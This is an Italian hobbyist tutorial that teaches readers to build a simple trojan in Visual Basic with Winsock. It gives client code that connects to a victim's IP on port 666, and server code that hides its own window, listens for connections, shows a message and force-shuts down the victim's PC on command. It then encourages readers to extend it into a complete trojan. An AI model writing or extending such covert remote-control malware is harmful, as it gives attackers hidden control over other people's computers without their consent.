Come tutti sapete un trojan è formato da due eseguibili, un client e un server.
Il server va eseguito sul pc della vittima, mentreil client è il programma con il quale si impartiscono gli ordini al server. Bene, dopo questa piccola premessa partiamo subito con la creazione del nostro p rimo trojan. Inizieremo con la creazione del client, che è più facile. Per prima cosa creiamo un form con un winsock. Andiamo ora a impostare la proprietà remoteport del nostro winsock e mettiamo come valore la porta sulla quale c'è in ascolto il server. Nel nostro caso faremo lavorare il nostro server sulla porta "666", impostiamo p oi la stessa porta anche alla proprietà localport. Mettiamo ora nella nostra form anche un textbox nel quale si inserirà l'ip della v ittima e un commandbutton con il quale ci connetteremo al server. Ora nell'evento click del command inseriremi il seguente codice: winsock1.remotehost = text1.text winsock1.connect ora che abbiamo fatto la connessione andiamo a vederecome impartire ordini al se rver: Nel nostro daremo al nostro trojan solo due funzioni, una che farà comparire un me ssaggio alla vittima e l'altra che gli spegnerà il pc, comunque seguendo lo stesso procedimento potremmo creare i nfinite funioni. Andiamo a creare 2 command nella nostra form, il primo lo chioameremo cmd messag gio, e il secondo cmdspegni. Se non lo sapete, il comando per far inviare qualcosa al winsock si chiama sendD ata, quindi nel primo command faremo: winsock1.sendData "messaggio" e nel secondo faremo: winsock.sendDAta "spegni" Andiamo ora a creare il nostro server: Apriamo un nuovo progetto e creiamo un form, inseriamoci un winsock e ricordiamo ci di impostare la proprietà visible del nostro form a "false" in modo che il form sia invisibile, poi impostiamo le proprietà loc alport e remoteport del winsock su 666. A questo punto nella sub form_load mettiamo in ascolto il winsock sulla propria porta in attesa di connessioni: winsock1.listen Ora andremo a programmare la sub Winsock1_ConnectionRequest che è la sub che viene eseguita quando il winsock riceve una richiesta di connessione: Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) If Winsock1.State <> sckClosed Then Winsock1.Close Winsock1.Accept requestID End Sub La nostra sub controlla se c'è una precedente connessione aperta e la chiude e poi accetta la connessione del client. Dopo aver visto la connessione dobbiamo gestire i dati ricevuti dal client e far emo ciò nella sub Winsock1_DataArrival. in questa sub dovremmo controllare cosa ci chiedono di fare i comandi ricevuti e d eseguirli, quindi facciamo: Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim dati As String Winsock1.GetData dati Select Case dati Case "messaggio" msgbox "Ciao utente!!!" Case "spegni" Shell ("shutdown -s -f -t 01") End Select End Sub Questa sub mette i dati ricevuti nella variabile "dati" e poi se il contenuto de lla variabile dati è uguale a messaggio fa comparire un msgbox con "scritto Ciao utente!!!" e se è uguale a spegni fa spegnere il pc della vittima. Durante la connessione tra client e server potrebbero esserci degli errori, in q uesto caso ci viene in contro la sub Winsock1_Error, nella quale in caso di errore faremo chiudere la connessione e rimetteremo in as colto il nostro winsock Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpCont ext As Long, CancelDisplay As Boolean) Winsock1.Close Winsock1.Listen End Sub Questo che abbiamo creato è solo la base di un trojan, ma è comunque funzionante e p ermette di capire il funzionamento del client e del server, ora sta alla fantasi a e alle conoscenze del programmatore migliorarlo ed implementarlo per farlo diven tare un programma completo. by spud--- http://www.x-z0n3.it